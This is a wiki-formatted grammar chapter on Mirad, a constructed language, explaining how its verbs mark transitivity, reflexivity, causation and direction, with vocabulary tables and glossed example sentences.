!  Transitive !! Intransitive
|-
| '''xer'''....''do'' || '''ser'''....''be''
|-
| '''agxer'''....''grow (something)'' || '''agser'''....''grow (up)''
|-
| '''amxer'''....''heat, make hot'' || '''amser'''....''become hot, heat up''
|-
| '''puxer'''....''throw'' || '''puser'''....''jump''
|-
| '''per'''....''go'' || '''ber'''....''put''
|-
| '''aber'''....''put on'' || '''aper'''....''get on''
|-
| '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''poxer'''....''stop (something)'' || '''poser'''....''(come to a) stop''
|-
| '''yuber'''....''bring'' || '''yuper'''....''approach''
|-
| '''yeber'''....''insert'' || '''yeper'''....''enter''
|}

::* '''At &lt;u&gt;agxe&lt;/u&gt; vobi.'''....''I &lt;u&gt;grow&lt;/u&gt; [TRANSITIVE] plants.''
::* '''Ha vobi &lt;u&gt;agseye&lt;/u&gt; ig.'''....''The plants &lt;u&gt;are growing&lt;/u&gt; [INTRANSITIVE] fast.''

::* '''&lt;u&gt;Poxu&lt;/u&gt; ha pur!'''....''&lt;u&gt;Stop&lt;/u&gt; [TRANSITIVE] the car!''
::* '''Ha pur &lt;u&gt;posa&lt;/u&gt;.'''....''The car &lt;u&gt;stopped&lt;/u&gt; [INTRANSITIVE].''

::* '''At &lt;u&gt;yaba&lt;/u&gt; ha mis.'''....''I &lt;u&gt;raised&lt;/u&gt; [TRANSITIVE] the window.''
::* '''Ha amar &lt;u&gt;yapaye&lt;/u&gt;.'''....''The sun &lt;u&gt;has risen&lt;/u&gt; [INTRANSITIVE].''


=== Marking -jer Verbs for Transitivity ===

: Note the following verbs, whose stems end in '''j''' are hard to pronounce with intransitive '''s''' and transitive '''x''', so these two endings are placed with '''p''' and '''b''', respectively, although the presence of the '''p''' is optional, i.e. it's presence or absence can slightly change the meaning from static to dynamic, eg. '''tujer'''....''to sleep'' vs. '''tujper'''....''to fall asleep''.  The transitive forms can be either active or passive.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Marking -jer Verbs for Transitivity
|-
! colspan=2|Intransitive !! colspan=2|Transitive
|-
! Static !! Dynamic !! Active !! Passive
|-
| '''Ha mes &lt;u&gt;yija&lt;/u&gt;'''&lt;br&gt;''The door &lt;u&gt;opened&lt;/u&gt;.'' || '''Ha nasyef &lt;u&gt;yijpa&lt;/u&gt;'''&lt;br&gt;''The purse &lt;u&gt;came open&lt;/u&gt;.'' || '''At &lt;u&gt;yijba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;opened&lt;/u&gt; the door.'' || '''Ha mes &lt;u&gt;yijbwa&lt;/u&gt; bey yelput.'''&lt;br&gt;''The door &lt;u&gt;was opened&lt;/u&gt; by an intruder''
|-
| '''Ha mes &lt;u&gt;yuja&lt;/u&gt;.'''&lt;br&gt;''The door &lt;u&gt;closed&lt;/u&gt;.'' || '''Ha yanup &lt;u&gt;yujpa&lt;/u&gt;.'''&lt;br&gt;''The meeting &lt;u&gt;adjourned&lt;/u&gt;.'' || '''At &lt;u&gt;yujba&lt;/u&gt; ha mes.'''&lt;br&gt;''I &lt;u&gt;closed&lt;/u&gt; the door.''||'''Ha mes yeyfe &lt;u&gt;yujbwer&lt;/u&gt; ja sumjob.'''&lt;br&gt;''The door should &lt;u&gt;be closed&lt;/u&gt; by bedtime.''
|-
| '''Ha dezun &lt;u&gt;ijaye&lt;/u&gt;.'''&lt;br&gt;''The play &lt;u&gt;has started&lt;/u&gt;.''||'''Ha par &lt;u&gt;ijpa&lt;/u&gt; boy poys.'''&lt;br&gt;''The car &lt;u&gt;started up&lt;/u&gt; immediately.'' ||'''At &lt;u&gt;ijba&lt;/u&gt; ata tyal.'''&lt;br&gt;''I &lt;u&gt;started&lt;/u&gt; my meal.''||'''Ha tyal &lt;u&gt;ijbwa&lt;/u&gt; jwa.'''&lt;br&gt;''The meal &lt;u&gt;was started&lt;/u&gt; early.''
|-
| '''Ha dezun &lt;u&gt;ujaye&lt;/u&gt;.'''&lt;br&gt;''The play has &lt;u&gt;ended&lt;/u&gt;.''||'''Ata yex &lt;u&gt;ujpaye&lt;/u&gt;.'''&lt;br&gt;''My work &lt;u&gt;has come to an end&lt;/u&gt;.'' || '''A &lt;u&gt;ujba&lt;/u&gt; ha dyes.'''&lt;br&gt;''I &lt;u&gt;finished&lt;/u&gt; the book.''||'''Ha dyes hyoj &lt;u&gt;ujbwa&lt;/u&gt;.'''&lt;br&gt;''The book never &lt;u&gt;got finished&lt;/u&gt;.''
|-
| '''Ha tob &lt;u&gt;toja&lt;/u&gt; zomoj.'''&lt;br&gt;''The man &lt;u&gt;died&lt;/u&gt; yesterday evening.''||'''Ha tob &lt;u&gt;tojpa&lt;/u&gt;.'''&lt;br&gt;''The man &lt;u&gt;dropped dead.&lt;/u&gt;'' || '''Hot &lt;u&gt;tojba&lt;/u&gt; ha twob?'''&lt;br&gt;''Who &lt;u&gt;killed&lt;/u&gt; the man?''||'''Ha twob &lt;u&gt;tojbwa&lt;/u&gt; bey ita tayd.'''&lt;br&gt;''The man &lt;u&gt;was killed&lt;/u&gt; by his wife.''
|-
| '''&lt;u&gt;Teju&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Live!&lt;/u&gt;.''||'''&lt;u&gt;Tejpu!&lt;/u&gt;.'''&lt;br&gt;''&lt;u&gt;Come alive!&lt;/u&gt;.'' || '''Yat efe &lt;u&gt;tejber&lt;/u&gt; ha twob.'''&lt;br&gt;''We need to &lt;u&gt;revive&lt;/u&gt; the man.''||'''Ha twob yofwa &lt;u&gt;tejbwer&lt;/u&gt;.'''&lt;br&gt;''The man could not &lt;u&gt;be revived&lt;/u&gt;.''
|-
| '''Ha tobot &lt;u&gt;taja&lt;/u&gt; zojub.'''&lt;br&gt;''The baby &lt;u&gt;was born&lt;/u&gt; yesterday.'' || '''Hoj ha tobot &lt;u&gt;tajpo&lt;/u&gt;?'''&lt;br&gt;''When &lt;u&gt;will&lt;/u&gt; the baby &lt;u&gt;pop out&lt;/u&gt;?'' || '''Iyt &lt;u&gt;tajba&lt;/u&gt; awa twobot zojub.'''&lt;br&gt;''She &lt;u&gt;gave birth&lt;/u&gt; to a baby boy yesterday.''||'''Ha twobot &lt;u&gt;tajbwa&lt;/u&gt; jo eymoj.'''&lt;br&gt;''The baby boy was &lt;u&gt;birthed&lt;/u&gt; after midnight.''
|-
| '''At &lt;u&gt;tija&lt;/u&gt; jwe.'''&lt;br&gt;''I &lt;u&gt;woke up&lt;/u&gt; on time.''||'''It voy &lt;u&gt;tijpa&lt;/u&gt;.'''&lt;br&gt;''He did not &lt;u&gt;come to.&lt;/u&gt;.'' || '''At &lt;u&gt;tijbo&lt;/u&gt; et jwa.'''&lt;br&gt;''I will &lt;u&gt;wake (you) up&lt;/u&gt; early.''||'''At voy fe &lt;u&gt;tijbwo&lt;/u&gt; gra jwa.'''&lt;br&gt;''I don't want to &lt;u&gt;be woken&lt;/u&gt; too early.''
|-
| '''At &lt;u&gt;tujeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;sleeping.&lt;/u&gt;''||'''At &lt;u&gt;tujpeya&lt;/u&gt;.'''&lt;br&gt;''I was &lt;u&gt;falling sleep&lt;/u&gt;.'' || '''At &lt;u&gt;tujbo&lt;/u&gt; it.'''&lt;br&gt;''I will &lt;u&gt;put (him) to sleep.&lt;/u&gt;.''||'''Ha tobot &lt;u&gt;tujbwo&lt;/u&gt; glojo.'''&lt;br&gt;''The baby &lt;u&gt;will be put to sleep&lt;/u&gt; soon.''
|}

== Reflexive Verbs ==
[[File:TWC Hokitika Gorge • Stewart Nimmo • MRD 1.jpg|thumb|]]
: Reflexive verbs, where the object refers back to the subject, work just as in English, where the object is a reflexive pronoun, eg.:

::* '''At tujboye aut.'''....''I am going to kill myself.''
::* '''Tru eut!'''....''Know thyself!''
::* '''It gobla iut bey goblar.'''....''He cut himself with a knife.''
::* '''Ot yefe yuxer out.'''....''One must help oneself.''

: Sometimes, verbs are reflexive lexically and incorporate the reflexivity in the actual verb form using '''ut''' as the prefix:

::* '''uttujber'''....''commit suicide (= self-kill)''
::* '''utboler'''....''support oneself (= self-support)''
::* '''utdider'''....''wonder (= self-ask)''

: Sometimes, verbs are used reflexively in Mirad even though they are used simply intransitively in English, eg.:

::* '''Et efe &lt;u&gt;vyilxer eut&lt;/u&gt;.'''....''You need to wash up [= &lt;u&gt;wash yourself&lt;/u&gt;].'' (or)
::* '''Et efe &lt;u&gt;utvyilxer&lt;/u&gt;.'''....''You need to wash up  [= &lt;u&gt;self-wash&lt;/u&gt;].''

== Omission of Prepositions After Certain Verbs ==

:: Some verbs inherently incorporate a preposition and so it is not necessary to use that assumed preposition before what would normally be an indirect object.

::{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Inherent Propositions
|-
! Preposition-Incorporating Verb !! Example
|-
| '''per'''....''go (to)'' || '''Pu tam!''' (Not: '''Pu bu tam!''') ''Go home.''&lt;br&gt;'''It pa Paris.'''....''He went to Paris.''
|-
| '''der'''....''say (to), tell'' || '''Du at eta dyun.'''....''Tell me your name.''&lt;br&gt;'''Du at has.'''....''Tell it to me.''
|-
| '''peser'''....''wait (for)'' || '''Pesu at.'''....''Wait for me.''
|-
| '''buer'''....''give (to)'' || '''Buu at hua dyes.'''....''Give me that book.''
|}

:: As in English, in omitting the inherent preposition in a sentence with both a direct object and an indirect object, place the indirect object before the direct object. If the direct object comes first, then the preposition must be overtly specified before the indirect object, eg. '''Buu &lt;u&gt;at&lt;/u&gt; hus.'''....''Give me that.'' or '''Buu hus &lt;u&gt;bu at&lt;/u&gt;.'''....''Give that &lt;u&gt;to me&lt;/u&gt;.''  See more about this in the chapter on [[Mirad_Grammar/Syntax|Syntax]].

== Causative vs. Inchoative Verbs ==
: A causative verb has the sense ''to make something have some quality'', whereas an inchoative verbs means ''to become or take on the quality of something.''

=== Derived from Adjectives ===

: Adjectives can be converted into transitive/causative and intransitive/inchoative verbs.  Causative verbs are always transitive (taking an object), while inchoative verbs are intransitive (not taking an object).  English causative / inchoative verbs often end in ''-ify'' like ''magnify'', or ''-ate'', ''liberate'', or ''ize'', like ''sensitize''.

: To derive a causative verb from an adjective, add the suffix '''-xer'''....''to do'' to either the stem or the whole adjective (with the '''a''' ending).  Whether you do the former or the latter depends on several factors, but the end result is slightly different in nuance.  A verb with adjective stem + '''-xer''' is slightly more idiomatic or less literal than the adjective stem + '''axer'''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ -axer vs -xer in Transitive Verbs
|-
! Adjective !! Causative/Transitive !! Causative/Transitive
|-
! '''-xer''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to magnify'' || '''agxer'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to unify'' || '''anxer'''&lt;br&gt;''to unite''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to separate'' || '''yonxer'''&lt;br&gt;''to cut''
|-
| '''yaga'''&lt;br&gt;''long'' || '''yag&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to lengthen'' || '''yagxer'''&lt;br&gt;''to stretch''
|-
| '''yuga'''&lt;br&gt;''slow'' || '''yug&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to retard'' || '''yugxer''' &lt;br&gt;''to brake''
|-
| '''sana'''&lt;br&gt;''formal'' || '''san&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to formalize'' || '''sanxer'''&lt;br&gt;''to form''
|-
| '''gea'''&lt;br&gt;''equal'' || '''ge&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to equalize'' || '''gexer'''&lt;br&gt;''to equal, equate''
|-
| '''jaa'''&lt;br&gt;''prior'' || '''ja&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to prioritize'' || '''jaxer'''&lt;br&gt;''to prepare''
|-
| '''aota'''&lt;br&gt;''personal'' || '''aot&lt;u&gt;a&lt;/u&gt;xer'''&lt;br&gt;''to personalize'' || '''aotxer'''&lt;br&gt;''to personify''
|}

: To derive an inchoative verb from an adjective, add the suffix '''ser'''....''to be'' to either the stem or the whole adjective.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Creating Inchoative Verbs
|-
! Adjective !! Inchoative/Intransitive !! Inchoative/Intransitive
|-
! '''-ser''' !! Literal !! Idiomatic
|-
| '''aga'''&lt;br&gt;''big'' || '''ag&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to get bigger'' || '''agser'''&lt;br&gt;''to grow''
|-
| '''ana'''&lt;br&gt;''one'' || '''an&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to unify'' || '''anser'''&lt;br&gt;''to unite, become united''
|-
| '''yona'''&lt;br&gt;''apart'' || '''yon&lt;u&gt;a&lt;/u&gt;ser'''&lt;br&gt;''to become separate'' || '''yonser'''&lt;br&gt;''to break''
|-
|}
: Be careful to use the transitive, causative verb form when you have a direct object, and the intransitive, inchoative verb form when no direct objects are present or possible, eg.:
::* '''&lt;u&gt;Ansu&lt;/u&gt; ey yet golxwo.'''....''&lt;u&gt;Unite&lt;/u&gt; or you will be divided.'' [INTRANSITIVE]
::* '''At &lt;u&gt;yontadsa&lt;/u&gt; hoj at sa eta jag.'''....''I &lt;u&gt;got divorced&lt;/u&gt; when I was your age.'' [INTRANSITIVE]
::* '''Hisi &lt;u&gt;agaxo&lt;/u&gt; hos et teate.'''....''These &lt;u&gt;will magnify&lt;/u&gt; what you see.'' [TRANSITIVE]
::* '''Hia tud &lt;u&gt;agseye&lt;/u&gt; ig.'''....''This child &lt;u&gt;is growing up&lt;/u&gt; fast.'' [INTRANSITIVE]
::* '''Ata tayd &lt;u&gt;agxe&lt;/u&gt; vosi be oyebzom.'''....''My wife &lt;u&gt;grows&lt;/u&gt; flowers out back.'' [TRANSITIVE]

=== Derived from Nouns ===

: Transitive/causative/active and intransitive/inchoative/passive verbs can also be formed from nouns.  The sense of the former is ''to make be X'' and of the latter, ''to become X''.

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verbs Derived from Nouns
|-
! Noun !! Transitive/Causative/Active !! Intransitive/Inchoative/Passive
|-
| '''mog'''....''ash'' || '''mogxer'''&lt;br&gt;''to incinerate'' || '''mogser'''&lt;br&gt;''to become ashes''
|-
| '''yan'''....''collection'' || '''yanxer'''&lt;br&gt;''to collect'' || '''yanser'''&lt;br&gt;''to get together''
|-
| '''tad'''....''spouse'' || '''tadxer'''&lt;br&gt;''to marry'' || '''tadser'''&lt;br&gt;''to get married''
|-
| '''yom'''....''ice'' || '''yomxer'''&lt;br&gt;''to freeze/make ice'' || '''yomser'''&lt;br&gt;''to freeze/become ice''
|-
| '''mag'''....''fire'' || '''magxer'''&lt;br&gt;''to burn, set fire to'' || '''magser'''&lt;br&gt;''to burn, get burned''
|-
| '''uk'''....''void'' || '''ukxer'''&lt;br&gt;''to empty'' || '''ukser'''&lt;br&gt;''become empty, empty out''
|}

=== Intermediary Causative Verbs ===

: Intermediary verbal causatives like ''have/get my car washed'', ''make/force him go'', ''get one's hair cut'' are formed by suffixing the causative verb infix '''-ux-''' (active) or '''uxw''' (passive) to the stem of the verb signifying the action to be arranged or caused by someone other than the subject, eg.:

::* '''At gobl&lt;u&gt;ux&lt;/u&gt;o ata tayeb zajub.'''....''I will get my hair cut tomorrow.''
::* '''Et voy yafe p&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me go.''
::* '''Wit tojb&lt;u&gt;ux&lt;/u&gt;a yit.'''....''He had them killed.''
::* '''At efe vyilx&lt;u&gt;ux&lt;/u&gt;er ata pur.'''....''I need to have my car washed.''
::* '''Et up&lt;u&gt;ux&lt;/u&gt;wa him av hes.'''....''You were made to come here for some reason.''
::* '''At bakamb&lt;u&gt;ux&lt;/u&gt;o et.'''....''I will have you hospitalized.''
::* '''Et voy yafe deuz&lt;u&gt;ux&lt;/u&gt;er at.'''....''You cannot make me sing.''
::* '''At hihid&lt;u&gt;ux&lt;/u&gt;wa.'''....''I was tickled (= made to laugh).''
::* '''Eta deuz hihid&lt;u&gt;ux&lt;/u&gt;a yat.'''....''Your song tickled us. (= Made us laugh.)''
::* '''Van het ivas&lt;u&gt;ux&lt;/u&gt;u weti.'''....''May someone get you guys to be happy.''
::* '''Hua enzyukpur uzp&lt;u&gt;ux&lt;/u&gt;a yata pur.'''....''That motorcycle caused our car to veer.''

== Subject-directed vs. Patient-directed Verbs ==
: The directionality of some verbs can be distinguished by the verbal formant infix '''-i-''' for an action or motion toward the speaker and '''-u-''' for an action or motion away from the speaker toward some patient, eg.:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Directional Verbs
|-
! Subject-directed !! Patient-directed
|-
| '''b&lt;u&gt;i&lt;/u&gt;er'''....''to take'' || '''b&lt;u&gt;u&lt;/u&gt;er'''....''to give''
|-
| '''nier'''....''to consume'' || '''nuer'''....''to supply''
|-
| '''nyier'''....''to order'' || '''nyuer'''....''to deliver''
|-
| '''nazunier'''....''win a prize'' || '''nazunuer'''....''award a prize''
|-
| '''noysier'''....''pay off'' || '''noysuer'''....''charge''
|-
| '''ojbier'''....''borrow'' || '''ojbuer'''....''lend''
|-
| '''tadier'''....''get married'' || '''taduer'''....''marry off''
|-
| '''papier'''....''take flight'' || '''papuer'''....''send off flying''
|-
| '''pipier'''....''set sail'' || '''pipuer'''....''dock''
|-
| '''simbier'''....''take a seat'' || '''simbuer'''....''offer a seat''
|-
| '''tampier'''....''leave home'' || '''tampuer'''....''arrive home''
|-
| '''tamier'''....''settle in'' || '''tamuer'''....''shelter''
|-
| '''nuxbier'''....''to buy'' || '''nixbuer'''....''to sell''
|-
| '''telier'''....''to eat'' || '''teluer'''....''to feed''
|-
| '''gonbier'''....''to participate'' || '''gonbuer'''....''to share''
|-
| '''tilier'''....''to drink'' || '''tiluer'''....''to ply with drink''
|-
| '''teubier'''....''to swallow'' || '''teubuer'''....''to spit out''
|-
| '''teatier'''....''to observe, watch'' || '''teatuer'''....''to show''
|-
| '''taxier'''....''to memorize'' || '''taxuer'''....''to remind''
|-
| '''alier'''....''to breathe in'' || '''aluer'''....''to breathe out, expire''
|-
| '''ilier'''....''to absorb'' || '''iluer'''....''to pour''
|-
| '''ifier'''....''to enjoy'' || '''ifuer'''....''to please''
|-
| '''dier'''....''to ask'' || '''duer'''....''to suggest''
|-
| '''tier'''....''to learn'' || '''tuer'''....''to inform''
|-
| '''pier'''....''to depart'' || '''puer'''....''to arrive''
|-
| '''kebier'''....''to choose'' || '''kebuer'''....''to distribute''
|-
| '''byier'''....''to originate'' || '''byuer'''....''to target''
|-
| '''mempier'''....''to take off'' || '''mempuer'''....''to land''
|-
| '''sinier'''....''visualize'' || '''sinuer'''....''display''
|-
| '''xier'''....''to result'' || '''xuer'''....''to cause''
|-
| '''yifier'''....''to get up the courage'' || '''yifuer'''....''to encourage, challenge''
|-
| '''yafonier'''....''to gain power'' || '''yafonuer'''....''to empower''
|-
| '''trier'''....''to become acquainted with'' || '''truer'''....''to acquaint with, introduce to''
|-
| '''tepzexier'''....''to draw attention'' || '''tepzexuer'''....''to focus attention on''
|-
| '''yekier'''....''to undertake'' || '''yekuer'''....''to challenge''
|-
| '''dyunier'''....''to assume the name of'' || '''dyunuer'''....''to bestow the name of''
|-
| '''abfinier'''....''to take advantage of'' || '''abfinuer'''....''to favor''
|}

: In some cases, the directionality can be both ways in a verb, in which case the verb formant infix '''-ui-''' (a hybrid form) is used, eg.:
::* '''nunier '''....''to purchase'' (subject-directed)
::* '''nunuer'''....''to sell'' (patient-directed)
::* '''nunuier'''....''to trade'' (subject &amp; patient-directed)

::* '''tier'''....''to learn, realize'' (subject-directed)
::* '''tuer'''....''to inform, tip off'' (patient-directed)
::* '''tuier'''....''to communicate'' (subject &amp; patient-directed)
::* '''ebtuier'''....''to intercommunicate''

::* '''alier'''....''to breathe in, inhale'' (subject-directed)
::* '''aluer'''....''to breathe out, exhale'' (patient-directed)
::* '''aluier'''....''to breathe, respire'' (subject &amp; patient-directed)

::* '''bier '''....''to take'' (subject-directed)
::* '''buer'''....''to give'' (patient-directed)
::* '''buier'''....''to give and take, exchange'' (subject &amp; patient-directed)

== Bi-radical Verbs ==
: Some verbs are formed using two verb roots together.  Here are some examples:

:{| class=&quot;wikitable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Bi-radical Verbs
|-
! Verb Root 1 !! Verb Root 2 !! Bi-radical Verb
|-
| '''nuxer'''....''to pay'' || '''bier'''....''to take'' || '''nuxbier'''....''to buy''
|-
| '''nixer'''....''to earn'' || '''buer'''....''to give'' || '''nixbuer'''....''to sell''
|-
| '''kexer'''....''to seek'' || '''bier'''....''to take'' || '''kexbier'''....''to choose''
|-
| '''uper'''....''to come'' || '''dier'''....''to ask'' || '''updier'''....''to invite''
|-
| '''teater'''....''to see'' || '''der'''....''to tell'' || '''teader'''....''to testify''
|-
| '''teeter'''....''to hear'' || '''drer'''....''to write'' || '''teadrer'''....''to report''
|-
| '''teater'''....''to see'' || '''per'''....''to go'' || '''teaper'''....''to visit''
|-
| '''texer'''....''to think'' || '''der'''....''to say'' || '''texder'''....''to mention''
|-
| '''kexer'''....''to seek'' || '''pixer'''....''to catch'' || '''kexpixer'''....''to hunt''
|-
| '''yeker'''....''to try'' || '''teexer'''....''to listen'' || '''yekteexer'''....''to try (in court)''
|}

== Verbs with Vectorial Prefixes ==

: Prepositions and directional adverbs can be prefixed to verbs in order to change their vectorial semantics. A preposition ending in '''b''' will assimilate by losing the '''b''' before the verb '''per'''....''to go'' or the verb '''ber'''.  This assimilation does not occur for other verbs beginning with '''b''' such as '''byexer''' (''to hit''). A preposition ending in '''b''' will, however, assimilate (lose the '''b''') before any verb bases beginning with a '''p'''. For example, '''ab''' (''on'') + '''bexer''' (''to hold'') = '''obbexer''' (''to hold on''), because '''obexer''' could be interpreted as ''to release''.  Here are some examples:

:{| class=&quot;wikitable sortable&quot; style=&quot;background:lightyellow;{{text default color}};font-size:smaller;&quot;
|+ Verb Prepositional Prefixes
|-
! Preposition/Adverb !!  Transitive Verb !! Intransitive Verb
|-
| '''ab'''....''on'' || '''aber'''....''apply''&lt;br&gt;not '''abber'''! || '''aper'''....''get on''&lt;br&gt;not '''abper'''!
|-
| '''ob'''....''off'' || '''ober'''....''remove'' || '''oper'''....''get off, dismount''
|-
| '''ab'''....''off'' || '''abbaxrer'''....''to rub on'' || '''apyexer'''....''to attack''
|-
| '''eb'''....''between'' || '''eber'''....''block'' || '''eper'''....''intervene''
|-
| '''eb'''....''between'' || '''ebdrayefser'''....''to interleave'' || '''ebdrafxer'''....''to interleave''
|-
| '''ub'''....''toward'' || '''uber'''....''to send'' || '''uper'''....''to come''
|-
| '''ub'''....''toward'' || '''ubbixer'''...''to attract'' || '''upixer'''....''to pitch toward''
|-
| '''yab'''....''up'' || '''yaber'''....''raise'' || '''yaper'''....''rise''
|-
| '''yob'''....''down'' || '''yober'''....''take down'' || '''yoper'''....''descend''
|-
| '''yub'''....''near'' || '''yuber'''....''bring near'' || '''yuper'''....''approach''
|-
| '''yib'''....''far'' || '''yiber'''....''take away'' || '''yiper'''....''go far away''
|-
| '''yeb'''....''in'' || '''yeber'''....''insert'' || '''yeper'''....''enter''
|-
| '''yeb'''....''in''  || '''yepuxer'''....''throw in'' || '''yepuser'''....''jump in''
|-
| '''oyeb'''....''out'' || '''oyeber'''....''expose'' || '''oyeper'''....''exit''
|-
| '''oyeb'''....''out'' || '''oyebbuxer'''....''expel'' || '''oyepuxer'''....''eject''
|-
| '''zyu'''....''round''  || '''zyuber'''....''rotate'' || '''zyuper'''....''revolve''
|-
| '''zya'''....''throughout'' || '''zyaber'''....''spread'' || '''zyaper'''....''tour''
|-
| '''av'''....''for'' || '''avdaler'''....''plead'' || '''avper'''....''pursue''
|-
| '''ov'''....''against'' || '''ovber'''....''oppose'' || '''ovper'''....''countervene''
|-
| '''yan'''....''together'' || '''yanber'''....''compose'' || '''yanper'''....''meet''
|-
| '''yon'''....''apart'' || '''yonber'''....''separate'' || '''yonper'''....''separate''
|-
| '''iz'''....''direct'' || '''izber'''....''lead'' || '''izper'''....''head''
|-
| '''uz'''....''curved'' || '''uzber'''....''divert'' || '''uzper'''....''diverge''
|-
| '''yuz'''....''around'' || '''yuzber'''....''surround'' || '''yuzper'''....''circulate''
|-
| '''yiz'''....''beyond'' || '''yizber'''....''transfer'' || '''yizper'''....''surpass''
|-
| '''zoy'''....''back, re-'' || '''zoyber'''....''return'' || '''zoyper'''....''go back''
|}

== Other Semantics-altering Verb Prefixes ==
: As in English and many other languages, prefixes can be used on verbs to reverse, mitigate, or otherwise alter the semantics:

=== Expressing ''re-'' with '''zoy-''' or '''gaw-''' ===
: The prefix '''zoy-'''....''back'' or '''gaw-&lt;sup&gt;1&lt;/sup&gt;'''....''again''  are used like the English prefix ''re-'', eg.:

::* '''ember'''....''to position'' → '''&lt;u&gt;zoy&lt;/u&gt;-ember'''....''to &lt;u&gt;re&lt;/u&gt;position, &lt;u&gt;re&lt;/u&gt;place''
::* '''buer'''....''to give'' → '''&lt;u&gt;zoy&lt;/u&gt;buer'''....''to &lt;u&gt;re&lt;/u&gt;turn (an object), give back''
::* '''sanxer'''....''to shape, form'' → '''&lt;u&gt;zoy&lt;/u&gt;sanxer'''....''to &lt;u&gt;re&lt;/u&gt;shape, &lt;u&gt;re&lt;/u&gt;form, &lt;u&gt;trans&lt;/u&gt;form''
::* '''zyauber'''....''to broadcast'' → '''gawzyauber'''....''to re-broadcast''
::* '''taja'''....''born'' → '''gawtaja'''....''reborn''
::* '''aber'''....''to apply'' → '''gawaber'''....''to reapply''
::* '''teaper'''....''to visit'' → '''&lt;u&gt;gaw&lt;/u&gt;teaper'''....''to &lt;u&gt;re&lt;/u&gt;visit''
::* '''uper'''....''to come'' → '''&lt;u&gt;zoy&lt;/u&gt;-uper&lt;sup&gt;2&lt;/sup&gt;'''....''to &lt;u&gt;re&lt;/u&gt;turn, come &lt;u&gt;back&lt;/u&gt;''
::* '''buxer'''....''to push'' → '''&lt;u&gt;zoy&lt;/u&gt;buxer'''....''to &lt;u&gt;re&lt;/u&gt;pel, push &lt;u&gt;back&lt;/u&gt;''
::* '''puxer'''....''to throw'' → '''&lt;u&gt;zoy&lt;/u&gt;puxer'''....''to &lt;u&gt;re&lt;/u&gt;ject, throw &lt;u&gt;back&lt;/u&gt;, jettison''
: Note 1:  The prefix '''gaw-''' before a consonant is pronounced like the ''gaw'' in the English word ''gawk''.  It is short for '''ga awa jod''' or '''gawa''' meaning ''one more time, again''.  If the &quot;re-&quot; word means ''to do something again'', then '''gaw-''' is used, eg. ''To reconvene'' ( = ''meet again'')....'''gawyanuper'''  If the sense of ''back'' is intended, than the prefix '''zoy-''' is used, eg. ''To return'' ( = ''come back'')....'''zoyuper'''. Both prefixes are used in the expression ''Come back again!''....'''Gawzoy-upu!'''.
: Note 2: The prefix '''zoy''' is followed by a hyphen to make it clear that the prepositon is '''zoy''', not '''zo''' and that the base verb is '''uper''' (''come''), not '''yuper''' (''to approach'').

:''Until we meet again'' or ''au revoir'' is expressed by '''Ju gawyanup.'''

=== Expressing ''de-, dis-, un-'' with '''lo-''' ===
: The prefix '''lo-''' reverses the semantics of a verb and is like English ''dis-'', ''de-'', or ''un-'', eg.:

::* '''sexer'''....''to build, construct'' → '''&lt;u&gt;lo&lt;/u&gt;sexer'''....''to &lt;u&gt;de&lt;/u&gt;stroy, &lt;u&gt;de&lt;/u&gt;construct''
::* '''anxer'''....''to unite'' → '''&lt;u&gt;lo&lt;/u&gt;anxer'''....''to &lt;u&gt;dis&lt;/u&gt;unite''
::* '''xer'''....''to do'' → '''&lt;u&gt;lo&lt;/u&gt;xer'''....''to &lt;u&gt;un&lt;/u&gt;do''

: Note the difference between '''o-''' and '''lo-'''.

::* '''odoparuwa'''....''&lt;u&gt;un&lt;/u&gt;armed'' (= ''not armed'')
::* '''lodoparuwa'''....''&lt;u&gt;dis&lt;/u&gt;armed'' (= from the verb '''lodoparuer'''....''to disarm'')

=== Expressing ''co-'' with '''yan-''' ===
: The prefix '''yan-'''....''together'' is used as the English ''co-'', eg.:

::* '''exer'''....''to operate'' → '''&lt;u&gt;yan&lt;/u&gt;exer'''....''to &lt;u&gt;co&lt;/u&gt;operate''
::* '''tamer'''....''to dwell'' → '''&lt;u&gt;yan&lt;/u&gt;tamer'''....''to &lt;u&gt;co&lt;/u&gt;habit''
::* '''napber'''....''to put in order'' → '''&lt;u&gt;yan&lt;/u&gt;napber'''....''to &lt;u&gt;co&lt;/u&gt;ordinate''

=== Making Verbs Completive with '''ik-''' ===
: Verbs can be made completive or perfective by prefixing them with '''ik-''' (''fully'').  Such verbs are comparable to phrasal verbs in English with ''up'' and other prepositions as in ''to eat up''.  Here are some examples in Mirad:
::* '''tojber'''....''to kill'' → '''iktojber'''....''to kill off, exterminate''
::* '''telier'''....''to eat'' → '''iktelier'''....''to eat up''
::* '''ujber'''....''to finish'' → '''ikujber'''....''to finish off/up''
::* '''gofler'''....''to rip'' → '''ikgofler'''....''to rip up''
::* '''drer'''....''to write'' → '''ikdrer'''....''to write down''
